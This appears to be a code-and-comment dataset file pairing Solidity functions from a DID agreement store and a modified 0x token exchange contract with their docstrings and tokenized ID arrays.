tx.origin // solhint-disable avoid-tx-origin
);
}
/**
* @dev Create a new agreement.
* The agreement will create conditions of conditionType with conditionId.
* Only "approved" templates can access this function.
* @param _id is the ID of the new agreement. Must be unique.
* @param _did is the bytes32 DID of the asset. The DID must be registered beforehand.
* @param _conditionTypes is a list of addresses that point to Condition contracts.
* @param _conditionIds is a list of bytes32 content-addressed Condition IDs
* @param _timeLocks is a list of uint time lock values associated to each Condition
* @param _timeOuts is a list of uint time out values associated to each Condition
* @param _creator address of the account associated as agreement and conditions creator
* @return size the size of the agreement list after the create action.
*/
function createAgreement(
bytes32 _id,
bytes32 _did,
address[] memory _conditionTypes,
bytes32[] memory _conditionIds,
uint[] memory _timeLocks,
uint[] memory _timeOuts,
address _creator
)
public
returns (uint size)
{
require(
templateStoreManager.isTemplateApproved(msg.sender) == true,
'Template not Approved'
);
require(
didRegistry.getBlockNumberUpdated(_did) > 0,
'DID not registered'
);
require(
_conditionIds.length == _conditionTypes.length &&
_timeLocks.length == _conditionTypes.length &&
_timeOuts.length == _conditionTypes.length,
'Arguments have wrong length'
);
// create the conditions in condition store. Fail if conditionId already exists.
for (uint256 i = 0; i < _conditionTypes.length; i++) {
conditionStoreManager.createCondition(
_conditionIds[i],
_conditionTypes[i],
_timeLocks[i],
_timeOuts[i],
_creator
);
}
agreementList.create(
_id,
_did,
msg.sender,
_conditionIds
);
// same as above
return getAgreementListSize();
}
function createAgreementAndPay(
bytes32 _id,
bytes32 _did,
address[] memory _conditionTypes,
bytes32[] memory _conditionIds,
uint[] memory _timeLocks,
uint[] memory _timeOuts,
address _creator,
uint _idx,
address payable _rewardAddress,
address _tokenAddress,
uint256[] memory _amounts,
address[] memory _receivers
)
public payable
{
require(hasRole(PROXY_ROLE, msg.sender), 'Invalid access role');
createAgreement(_id, _did, _conditionTypes, _conditionIds, _timeLocks, _timeOuts, _creator);
LockPaymentCondition(_conditionTypes[_idx]).fulfillProxy(_creator, _id, _did, _rewardAddress, _tokenAddress, _amounts, _receivers);
}
/**
* @dev Get agreement with _id.
* The agreement will create conditions of conditionType with conditionId.
* Only "approved" templates can access this function.
* @param _id is the ID of the agreement.
* @return did
* @return didOwner
* @return templateId
* @return conditionIds
* @return lastUpdatedBy
* @return blockNumberUpdated
*/
function getAgreement(bytes32 _id)
external
view
returns (
bytes32 did,
address didOwner,
address templateId,
bytes32[] memory conditionIds,
address lastUpdatedBy,
uint256 blockNumberUpdated
)
{
did = agreementList.agreements[_id].did;
didOwner = didRegistry.getDIDOwner(did);
templateId = agreementList.agreements[_id].templateId;
conditionIds = agreementList.agreements[_id].conditionIds;
lastUpdatedBy = agreementList.agreements[_id].lastUpdatedBy;
blockNumberUpdated = agreementList.agreements[_id].blockNumberUpdated;
}
/**
* @dev get the DID owner for this agreement with _id.
* @param _id is the ID of the agreement.
* @return didOwner the DID owner associated with agreement.did from the DID registry.
*/
function getAgreementDIDOwner(bytes32 _id)
external
view
returns (address didOwner)
{
bytes32 did = agreementList.agreements[_id].did;
return didRegistry.getDIDOwner(did);
}
/**
* @dev check the DID owner for this agreement with _id.
* @param _id is the ID of the agreement.
* @param _owner is the DID owner
* @return the DID owner associated with agreement.did from the DID registry.
*/
function isAgreementDIDOwner(bytes32 _id, address _owner)
external
view
returns (bool)
{
bytes32 did = agreementList.agreements[_id].did;
return (_owner == didRegistry.getDIDOwner(did));
}
/**
* @dev isAgreementDIDProvider for a given agreement Id
* and address check whether a DID provider is associated with this agreement
* @param _id is the ID of the agreement
* @param _provider is the DID provider
* @return true if a DID provider is associated with the agreement ID
*/
function isAgreementDIDProvider(bytes32 _id, address _provider)
external
view
returns(bool)
{
bytes32 did = agreementList.agreements[_id].did;
return didRegistry.isDIDProvider(did, _provider);
}
/**
* @return size the length of the agreement list.
*/
function getAgreementListSize()
public
view
virtual
returns (uint size)
{
return agreementList.agreementIds.length;
}
/**
* @param _did is the bytes32 DID of the asset.
* @return the agreement IDs for a given DID
*/
function getAgreementIdsForDID(bytes32 _did)
public
view
returns (bytes32[] memory)
{
return agreementList.didToAgreementIds[_did];
}
/**
* @param _templateId is the address of the agreement template.
* @return the agreement IDs for a given DID
*/
function getAgreementIdsForTemplateId(address _templateId)
public
view
returns (bytes32[] memory)
{
return agreementList.templateIdToAgreementIds[_templateId];
}
/**
* @dev getDIDRegistryAddress utility function
* used by other contracts or any EOA.
* @return the DIDRegistry address
*/
function getDIDRegistryAddress()
public
view
returns(address)
{
return address(didRegistry);
}
}
| * @param _templateId is the address of the agreement template. @return the agreement IDs for a given DID/ | function getAgreementIdsForTemplateId(address _templateId)
public
view
returns (bytes32[] memory)
{
return agreementList.templateIdToAgreementIds[_templateId];
}
| 2,473,893 | [
1,
67,
3202,
548,
353,
326,
1758,
434,
326,
19602,
1542,
18,
327,
326,
19602,
7115,
364,
279,
864,
463,
734,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
336,
17420,
2673,
1290,
2283,
548,
12,
2867,
389,
3202,
548,
13,
203,
3639,
1071,
203,
3639,
1476,
203,
3639,
1135,
261,
3890,
1578,
8526,
3778,
13,
203,
565,
288,
203,
3639,
327,
19602,
682,
18,
3202,
28803,
17420,
2673,
63,
67,
3202,
548,
15533,
203,
565,
289,
203,
377,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
/*
Copyright 2017 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity 0.4.19;
interface Token {
/// @notice send `_value` token to `_to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transfer(address _to, uint _value) public returns (bool);
/// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
/// @param _from The address of the sender
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transferFrom(address _from, address _to, uint _value) public returns (bool);
/// @notice `msg.sender` approves `_addr` to spend `_value` tokens
/// @param _spender The address of the account able to transfer the tokens
/// @param _value The amount of wei to be approved for transfer
/// @return Whether the approval was successful or not
function approve(address _spender, uint _value) public returns (bool);
/// @param _owner The address from which the balance will be retrieved
/// @return The balance
function balanceOf(address _owner) public view returns (uint);
/// @param _owner The address of the account owning tokens
/// @param _spender The address of the account able to transfer the tokens
/// @return Amount of remaining tokens allowed to spent
function allowance(address _owner, address _spender) public view returns (uint);
event Transfer(address indexed _from, address indexed _to, uint _value); // solhint-disable-line
event Approval(address indexed _owner, address indexed _spender, uint _value);
}
//solhint-disable-next-line
/// @title TokenTransferProxy - Transfers tokens on behalf of exchange
/// @author Ahmed Ali <[email protected]>
contract TokenTransferProxy {
modifier onlyExchange {
require(msg.sender == exchangeAddress);
_;
}
address public exchangeAddress;
event LogAuthorizedAddressAdded(address indexed target, address indexed caller);
function TokenTransferProxy() public {
setExchange(msg.sender);
}
/*
* Public functions
*/
/// @dev Calls into ERC20 Token contract, invoking transferFrom.
/// @param token Address of token to transfer.
/// @param from Address to transfer token from.
/// @param to Address to transfer token to.
/// @param value Amount of token to transfer.
/// @return Success of transfer.
function transferFrom(
address token,
address from,
address to,
uint value)
public
onlyExchange
returns (bool)
{
return Token(token).transferFrom(from, to, value);
}
/// @dev Used to set exchange address
/// @param _exchange the address of the exchange
function setExchange(address _exchange) internal {
require(exchangeAddress == address(0));
exchangeAddress = _exchange;
}
}
contract SafeMath {
function safeMul(uint a, uint b)
internal
pure
returns (uint256)
{
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeDiv(uint a, uint b)
internal
pure
returns (uint256)
{
uint c = a / b;
return c;
}
function safeSub(uint a, uint b)
internal
pure
returns (uint256)
{
assert(b <= a);
return a - b;
}
function safeAdd(uint a, uint b)
internal
pure
returns (uint256)
{
uint c = a + b;
assert(c >= a);
return c;
}
function max64(uint64 a, uint64 b)
internal
pure
returns (uint256)
{
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b)
internal
pure
returns (uint256)
{
return a < b ? a : b;
}
function max256(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
return a < b ? a : b;
}
}
/// @title Exchange - Facilitates exchange of ERC20 tokens.
/// @author Amir Bandeali - <[email protected]>, Will Warren - <[email protected]>
// Modified by Ahmed Ali <[email protected]>
contract Exchange is SafeMath {
// Error Codes
enum Errors {
ORDER_EXPIRED, // Order has already expired
ORDER_FULLY_FILLED_OR_CANCELLED, // Order has already been fully filled or cancelled
ROUNDING_ERROR_TOO_LARGE, // Rounding error too large
INSUFFICIENT_BALANCE_OR_ALLOWANCE // Insufficient balance or allowance for token transfer
}
string constant public VERSION = "1.0.0";
uint16 constant public EXTERNAL_QUERY_GAS_LIMIT = 4999; // Changes to state require at least 5000 gas
uint constant public ETHFINEX_FEE = 200; // Amount - (Amount/fee) is what gets send to user
// address public ZRX_TOKEN_CONTRACT;
address public TOKEN_TRANSFER_PROXY_CONTRACT;
// Mappings of orderHash => amounts of takerTokenAmount filled or cancelled.
mapping (bytes32 => uint) public filled;
mapping (bytes32 => uint) public cancelled;
event LogFill(
address indexed maker,
address taker,
address indexed feeRecipient,
address makerToken,
address takerToken,
uint filledMakerTokenAmount,
uint filledTakerTokenAmount,
uint paidMakerFee,
uint paidTakerFee,
bytes32 indexed tokens, // keccak256(makerToken, takerToken), allows subscribing to a token pair
bytes32 orderHash
);
event LogCancel(
address indexed maker,
address indexed feeRecipient,
address makerToken,
address takerToken,
uint cancelledMakerTokenAmount,
uint cancelledTakerTokenAmount,
bytes32 indexed tokens,
bytes32 orderHash
);
event LogError(uint8 indexed errorId, bytes32 indexed orderHash);
struct Order {
address maker;
address taker;
address makerToken;
address takerToken;
address feeRecipient;
uint makerTokenAmount;
uint takerTokenAmount;
uint makerFee;
uint takerFee;
uint expirationTimestampInSec;
bytes32 orderHash;
}
// MODIFIED CODE, constructor changed
function Exchange() public {
// ZRX_TOKEN_CONTRACT = _zrxToken;
TOKEN_TRANSFER_PROXY_CONTRACT = address(new TokenTransferProxy());
}
/*
* Core exchange functions
*/
/// @dev Fills the input order.
/// @param orderAddresses Array of order's maker, taker, makerToken, takerToken, and feeRecipient.
/// @param orderValues Array of order's makerTokenAmount, takerTokenAmount, makerFee, takerFee, expirationTimestampInSec, and salt.
/// @param fillTakerTokenAmount Desired amount of takerToken to fill.
/// @param shouldThrowOnInsufficientBalanceOrAllowance Test if transfer will fail before attempting.
/// @param v ECDSA signature parameter v.
/// @param r ECDSA signature parameters r.
/// @param s ECDSA signature parameters s.
/// @return Total amount of takerToken filled in trade.
function fillOrder(
address[5] orderAddresses,
uint[6] orderValues,
uint fillTakerTokenAmount,
bool shouldThrowOnInsufficientBalanceOrAllowance,
uint8 v,
bytes32 r,
bytes32 s)
public
returns (uint filledTakerTokenAmount)
{
Order memory order = Order({
maker: orderAddresses[0],
taker: orderAddresses[1],
makerToken: orderAddresses[2],
takerToken: orderAddresses[3],
feeRecipient: orderAddresses[4],
makerTokenAmount: orderValues[0],
takerTokenAmount: orderValues[1],
makerFee: orderValues[2],
takerFee: orderValues[3],
expirationTimestampInSec: orderValues[4],
orderHash: getOrderHash(orderAddresses, orderValues)
});
require(order.taker == address(0) || order.taker == msg.sender);
require(order.makerTokenAmount > 0 && order.takerTokenAmount > 0 && fillTakerTokenAmount > 0);
require(isValidSignature(
order.maker,
order.orderHash,
v,
r,
s
));
if (block.timestamp >= order.expirationTimestampInSec) {
LogError(uint8(Errors.ORDER_EXPIRED), order.orderHash);
return 0;
}
uint remainingTakerTokenAmount = safeSub(order.takerTokenAmount, getUnavailableTakerTokenAmount(order.orderHash));
filledTakerTokenAmount = min256(fillTakerTokenAmount, remainingTakerTokenAmount);
if (filledTakerTokenAmount == 0) {
LogError(uint8(Errors.ORDER_FULLY_FILLED_OR_CANCELLED), order.orderHash);
return 0;
}
if (isRoundingError(filledTakerTokenAmount, order.takerTokenAmount, order.makerTokenAmount)) {
LogError(uint8(Errors.ROUNDING_ERROR_TOO_LARGE), order.orderHash);
return 0;
}
if (!shouldThrowOnInsufficientBalanceOrAllowance && !isTransferable(order, filledTakerTokenAmount)) {
LogError(uint8(Errors.INSUFFICIENT_BALANCE_OR_ALLOWANCE), order.orderHash);
return 0;
}
/////////////// modified code /////////////////
// uint filledMakerTokenAmount = getPartialAmount(filledTakerTokenAmount, order.takerTokenAmount, order.makerTokenAmount);
uint filledMakerTokenAmount = getPartialAmount(filledTakerTokenAmount, order.takerTokenAmount, order.makerTokenAmount);
filledMakerTokenAmount = filledMakerTokenAmount - safeDiv(filledMakerTokenAmount, ETHFINEX_FEE);
///////////// modified code ///////////
uint paidMakerFee;
uint paidTakerFee;
filled[order.orderHash] = safeAdd(filled[order.orderHash], filledTakerTokenAmount);
require(transferViaTokenTransferProxy(
order.makerToken,
order.maker,
msg.sender,
filledMakerTokenAmount
));
require(transferViaTokenTransferProxy(
order.takerToken,
msg.sender,
order.maker,
filledTakerTokenAmount
));
// if (order.feeRecipient != address(0)) {
// if (order.makerFee > 0) {
// paidMakerFee = getPartialAmount(filledTakerTokenAmount, order.takerTokenAmount, order.makerFee);
// require(transferViaTokenTransferProxy(
// ZRX_TOKEN_CONTRACT,
// order.maker,
// order.feeRecipient,
// paidMakerFee
// ));
// }
// if (order.takerFee > 0) {
// paidTakerFee = getPartialAmount(filledTakerTokenAmount, order.takerTokenAmount, order.takerFee);
// require(transferViaTokenTransferProxy(
// ZRX_TOKEN_CONTRACT,
// msg.sender,
// order.feeRecipient,
// paidTakerFee
// ));
// }
// }
LogFill(
order.maker,
msg.sender,
order.feeRecipient,
order.makerToken,
order.takerToken,
filledMakerTokenAmount,
filledTakerTokenAmount,
paidMakerFee,
paidTakerFee,
keccak256(order.makerToken, order.takerToken),
order.orderHash
);
return filledTakerTokenAmount;
}
/// @dev Cancels the input order.
/// @param orderAddresses Array of order's maker, taker, makerToken, takerToken, and feeRecipient.
/// @param orderValues Array of order's makerTokenAmount, takerTokenAmount, makerFee, takerFee, expirationTimestampInSec, and salt.
/// @param cancelTakerTokenAmount Desired amount of takerToken to cancel in order.
/// @return Amount of takerToken cancelled.
// function cancelOrder(
// address[5] orderAddresses,
// uint[6] orderValues,
// uint cancelTakerTokenAmount)
// public
// returns (uint)
// {
// Order memory order = Order({
// maker: orderAddresses[0],
// taker: orderAddresses[1],
// makerToken: orderAddresses[2],
// takerToken: orderAddresses[3],
// feeRecipient: orderAddresses[4],
// makerTokenAmount: orderValues[0],
// takerTokenAmount: orderValues[1],
// makerFee: orderValues[2],
// takerFee: orderValues[3],
// expirationTimestampInSec: orderValues[4],
// orderHash: getOrderHash(orderAddresses, orderValues)
// });
// require(order.maker == msg.sender);
// require(order.makerTokenAmount > 0 && order.takerTokenAmount > 0 && cancelTakerTokenAmount > 0);
// if (block.timestamp >= order.expirationTimestampInSec) {
// LogError(uint8(Errors.ORDER_EXPIRED), order.orderHash);
// return 0;
// }
// uint remainingTakerTokenAmount = safeSub(order.takerTokenAmount, getUnavailableTakerTokenAmount(order.orderHash));
// uint cancelledTakerTokenAmount = min256(cancelTakerTokenAmount, remainingTakerTokenAmount);
// if (cancelledTakerTokenAmount == 0) {
// LogError(uint8(Errors.ORDER_FULLY_FILLED_OR_CANCELLED), order.orderHash);
// return 0;
// }
// cancelled[order.orderHash] = safeAdd(cancelled[order.orderHash], cancelledTakerTokenAmount);
// LogCancel(
// order.maker,
// order.feeRecipient,
// order.makerToken,
// order.takerToken,
// getPartialAmount(cancelledTakerTokenAmount, order.takerTokenAmount, order.makerTokenAmount),
// cancelledTakerTokenAmount,
// keccak256(order.makerToken, order.takerToken),
// order.orderHash
// );
// return cancelledTakerTokenAmount;
// }
/*
* Wrapper functions
*/
/// @dev Fills an order with specified parameters and ECDSA signature, throws if specified amount not filled entirely.
/// @param orderAddresses Array of order's maker, taker, makerToken, takerToken, and feeRecipient.
/// @param orderValues Array of order's makerTokenAmount, takerTokenAmount, makerFee, takerFee, expirationTimestampInSec, and salt.
/// @param fillTakerTokenAmount Desired amount of takerToken to fill.
/// @param v ECDSA signature parameter v.
/// @param r ECDSA signature parameters r.
/// @param s ECDSA signature parameters s.
function fillOrKillOrder(
address[5] orderAddresses,
uint[6] orderValues,
uint fillTakerTokenAmount,
uint8 v,
bytes32 r,
bytes32 s)
public
{
require(fillOrder(
orderAddresses,
orderValues,
fillTakerTokenAmount,
false,
v,
r,
s
) == fillTakerTokenAmount);
}
/// @dev Synchronously executes multiple fill orders in a single transaction.
/// @param orderAddresses Array of address arrays containing individual order addresses.
/// @param orderValues Array of uint arrays containing individual order values.
/// @param fillTakerTokenAmounts Array of desired amounts of takerToken to fill in orders.
/// @param shouldThrowOnInsufficientBalanceOrAllowance Test if transfers will fail before attempting.
/// @param v Array ECDSA signature v parameters.
/// @param r Array of ECDSA signature r parameters.
/// @param s Array of ECDSA signature s parameters.
function batchFillOrders(
address[5][] orderAddresses,
uint[6][] orderValues,
uint[] fillTakerTokenAmounts,
bool shouldThrowOnInsufficientBalanceOrAllowance,
uint8[] v,
bytes32[] r,
bytes32[] s)
public
{
for (uint i = 0; i < orderAddresses.length; i++) {
fillOrder(
orderAddresses[i],
orderValues[i],
fillTakerTokenAmounts[i],
shouldThrowOnInsufficientBalanceOrAllowance,
v[i],
r[i],
s[i]
);
}
}
/// @dev Synchronously executes multiple fillOrKill orders in a single transaction.
/// @param orderAddresses Array of address arrays containing individual order addresses.
/// @param orderValues Array of uint arrays containing individual order values.
/// @param fillTakerTokenAmounts Array of desired amounts of takerToken to fill in orders.
/// @param v Array ECDSA signature v parameters.
/// @param r Array of ECDSA signature r parameters.
/// @param s Array of ECDSA signature s parameters.
function batchFillOrKillOrders(
address[5][] orderAddresses,
uint[6][] orderValues,
uint[] fillTakerTokenAmounts,
uint8[] v,
bytes32[] r,
bytes32[] s)
public
{
for (uint i = 0; i < orderAddresses.length; i++) {
fillOrKillOrder(
orderAddresses[i],
orderValues[i],
fillTakerTokenAmounts[i],
v[i],
r[i],
s[i]
);
}
}
/// @dev Synchronously executes multiple fill orders in a single transaction until total fillTakerTokenAmount filled.
/// @param orderAddresses Array of address arrays containing individual order addresses.
/// @param orderValues Array of uint arrays containing individual order values.
/// @param fillTakerTokenAmount Desired total amount of takerToken to fill in orders.
/// @param shouldThrowOnInsufficientBalanceOrAllowance Test if transfers will fail before attempting.
/// @param v Array ECDSA signature v parameters.
/// @param r Array of ECDSA signature r parameters.
/// @param s Array of ECDSA signature s parameters.
/// @return Total amount of fillTakerTokenAmount filled in orders.
function fillOrdersUpTo(
address[5][] orderAddresses,
uint[6][] orderValues,
uint fillTakerTokenAmount,
bool shouldThrowOnInsufficientBalanceOrAllowance,
uint8[] v,
bytes32[] r,
bytes32[] s)
public
returns (uint)
{
uint filledTakerTokenAmount = 0;
for (uint i = 0; i < orderAddresses.length; i++) {
require(orderAddresses[i][3] == orderAddresses[0][3]); // takerToken must be the same for each order
filledTakerTokenAmount = safeAdd(filledTakerTokenAmount, fillOrder(
orderAddresses[i],
orderValues[i],
safeSub(fillTakerTokenAmount, filledTakerTokenAmount),
shouldThrowOnInsufficientBalanceOrAllowance,
v[i],
r[i],
s[i]
));
if (filledTakerTokenAmount == fillTakerTokenAmount) break;
}
return filledTakerTokenAmount;
}
/// @dev Synchronously cancels multiple orders in a single transaction.
/// @param orderAddresses Array of address arrays containing individual order addresses.
/// @param orderValues Array of uint arrays containing individual order values.
/// @param cancelTakerTokenAmounts Array of desired amounts of takerToken to cancel in orders.
// function batchCancelOrders(
// address[5][] orderAddresses,
// uint[6][] orderValues,
// uint[] cancelTakerTokenAmounts)
// public
// {
// for (uint i = 0; i < orderAddresses.length; i++) {
// cancelOrder(
// orderAddresses[i],
// orderValues[i],
// cancelTakerTokenAmounts[i]
// );
// }
// }
/*
* Constant public functions
*/
/// @dev Calculates Keccak-256 hash of order with specified parameters.
/// @param orderAddresses Array of order's maker, taker, makerToken, takerToken, and feeRecipient.
/// @param orderValues Array of order's makerTokenAmount, takerTokenAmount, makerFee, takerFee, expirationTimestampInSec, and salt.
/// @return Keccak-256 hash of order.
function getOrderHash(address[5] orderAddresses, uint[6] orderValues)
public
constant
returns (bytes32)
{
return keccak256(
address(this),
orderAddresses[0], // maker
orderAddresses[1], // taker
orderAddresses[2], // makerToken
orderAddresses[3], // takerToken
orderAddresses[4], // feeRecipient
orderValues[0], // makerTokenAmount
orderValues[1], // takerTokenAmount
orderValues[2], // makerFee
orderValues[3], // takerFee
orderValues[4], // expirationTimestampInSec
orderValues[5] // salt
);
}
/// @dev Verifies that an order signature is valid.
/// @param signer address of signer.
/// @param hash Signed Keccak-256 hash.
/// @param v ECDSA signature parameter v.
/// @param r ECDSA signature parameters r.
/// @param s ECDSA signature parameters s.
/// @return Validity of order signature.
function isValidSignature(
address signer,
bytes32 hash,
uint8 v,
bytes32 r,
bytes32 s)
public
pure
returns (bool)
{
return signer == ecrecover(
keccak256("\x19Ethereum Signed Message:\n32", hash),
v,
r,
s
);
}
/// @dev Checks if rounding error > 0.1%.
/// @param numerator Numerator.
/// @param denominator Denominator.
/// @param target Value to multiply with numerator/denominator.
/// @return Rounding error is present.
function isRoundingError(uint numerator, uint denominator, uint target)
public
pure
returns (bool)
{
uint remainder = mulmod(target, numerator, denominator);
if (remainder == 0) return false; // No rounding error.
uint errPercentageTimes1000000 = safeDiv(
safeMul(remainder, 1000000),
safeMul(numerator, target)
);
return errPercentageTimes1000000 > 1000;
}
/// @dev Calculates partial value given a numerator and denominator.
/// @param numerator Numerator.
/// @param denominator Denominator.
/// @param target Value to calculate partial of.
/// @return Partial value of target.
function getPartialAmount(uint numerator, uint denominator, uint target)
public
pure
returns (uint)
{
return safeDiv(safeMul(numerator, target), denominator);
}
/// @dev Calculates the sum of values already filled and cancelled for a given order.
/// @param orderHash The Keccak-256 hash of the given order.
/// @return Sum of values already filled and cancelled.
function getUnavailableTakerTokenAmount(bytes32 orderHash)
public
constant
returns (uint)
{
return safeAdd(filled[orderHash], cancelled[orderHash]);
}
/*
* Internal functions
*/
/// @dev Transfers a token using TokenTransferProxy transferFrom function.
/// @param token Address of token to transferFrom.
/// @param from Address transfering token.
/// @param to Address receiving token.
/// @param value Amount of token to transfer.
/// @return Success of token transfer.
function transferViaTokenTransferProxy(
address token,
address from,
address to,
uint value)
internal
returns (bool)
{
return TokenTransferProxy(TOKEN_TRANSFER_PROXY_CONTRACT).transferFrom(token, from, to, value);
}
/// @dev Checks if any order transfers will fail.
/// @param order Order struct of params that will be checked.
/// @param fillTakerTokenAmount Desired amount of takerToken to fill.
/// @return Predicted result of transfers.
function isTransferable(Order order, uint fillTakerTokenAmount)
internal
constant // The called token contracts may attempt to change state, but will not be able to due to gas limits on getBalance and getAllowance.
returns (bool)
{
address taker = msg.sender;
uint fillMakerTokenAmount = getPartialAmount(fillTakerTokenAmount, order.takerTokenAmount, order.makerTokenAmount);
// if (order.feeRecipient != address(0)) {
// bool isMakerTokenZRX = order.makerToken == ZRX_TOKEN_CONTRACT;
// bool isTakerTokenZRX = order.takerToken == ZRX_TOKEN_CONTRACT;
// uint paidMakerFee = getPartialAmount(fillTakerTokenAmount, order.takerTokenAmount, order.makerFee);
// uint paidTakerFee = getPartialAmount(fillTakerTokenAmount, order.takerTokenAmount, order.takerFee);
// uint requiredMakerZRX = isMakerTokenZRX ? safeAdd(fillMakerTokenAmount, paidMakerFee) : paidMakerFee;
// uint requiredTakerZRX = isTakerTokenZRX ? safeAdd(fillTakerTokenAmount, paidTakerFee) : paidTakerFee;
// if ( getBalance(ZRX_TOKEN_CONTRACT, order.maker) < requiredMakerZRX
// || getAllowance(ZRX_TOKEN_CONTRACT, order.maker) < requiredMakerZRX
// || getBalance(ZRX_TOKEN_CONTRACT, taker) < requiredTakerZRX
// || getAllowance(ZRX_TOKEN_CONTRACT, taker) < requiredTakerZRX
// ) return false;
// if (!isMakerTokenZRX && ( getBalance(order.makerToken, order.maker) < fillMakerTokenAmount // Don't double check makerToken if ZRX
// || getAllowance(order.makerToken, order.maker) < fillMakerTokenAmount)
// ) return false;
// if (!isTakerTokenZRX && ( getBalance(order.takerToken, taker) < fillTakerTokenAmount // Don't double check takerToken if ZRX
// || getAllowance(order.takerToken, taker) < fillTakerTokenAmount)
// ) return false;
// } else if ( getBalance(order.makerToken, order.maker) < fillMakerTokenAmount
// || getAllowance(order.makerToken, order.maker) < fillMakerTokenAmount
// || getBalance(order.takerToken, taker) < fillTakerTokenAmount
// || getAllowance(order.takerToken, taker) < fillTakerTokenAmount
// ) return false;
///////// added code, copied from above ///////
if ( getBalance(order.makerToken, order.maker) < fillMakerTokenAmount
|| getAllowance(order.makerToken, order.maker) < fillMakerTokenAmount
|| getBalance(order.takerToken, taker) < fillTakerTokenAmount
|| getAllowance(order.takerToken, taker) < fillTakerTokenAmount
) return false;
return true;
}
/// @dev Get token balance of an address.
/// @param token Address of token.
/// @param owner Address of owner.
/// @return Token balance of owner.
function getBalance(address token, address owner)
internal
constant // The called token contract may attempt to change state, but will not be able to due to an added gas limit.
returns (uint)
{
return Token(token).balanceOf.gas(EXTERNAL_QUERY_GAS_LIMIT)(owner); // Limit gas to prevent reentrancy
}
/// @dev Get allowance of token given to TokenTransferProxy by an address.
/// @param token Address of token.
/// @param owner Address of owner.
/// @return Allowance of token given to TokenTransferProxy by owner.
function getAllowance(address token, address owner)
internal
constant // The called token contract may attempt to change state, but will not be able to due to an added gas limit.
returns (uint)
{
return Token(token).allowance.gas(EXTERNAL_QUERY_GAS_LIMIT)(owner, TOKEN_TRANSFER_PROXY_CONTRACT); // Limit gas to prevent reentrancy
}
} | @dev Verifies that an order signature is valid. @param signer address of signer. @param hash Signed Keccak-256 hash. @param v ECDSA signature parameter v. @param r ECDSA signature parameters r. @param s ECDSA signature parameters s. @return Validity of order signature. | function isValidSignature(
address signer,
bytes32 hash,
uint8 v,
bytes32 r,
bytes32 s)
public
pure
returns (bool)
{
return signer == ecrecover(
keccak256("\x19Ethereum Signed Message:\n32", hash),
v,
r,
s
);
}
| 2,051,091 | [
1,
19802,
716,
392,
1353,
3372,
353,
923,
18,
225,
10363,
1758,
434,
10363,
18,
225,
1651,
16724,
1475,
24410,
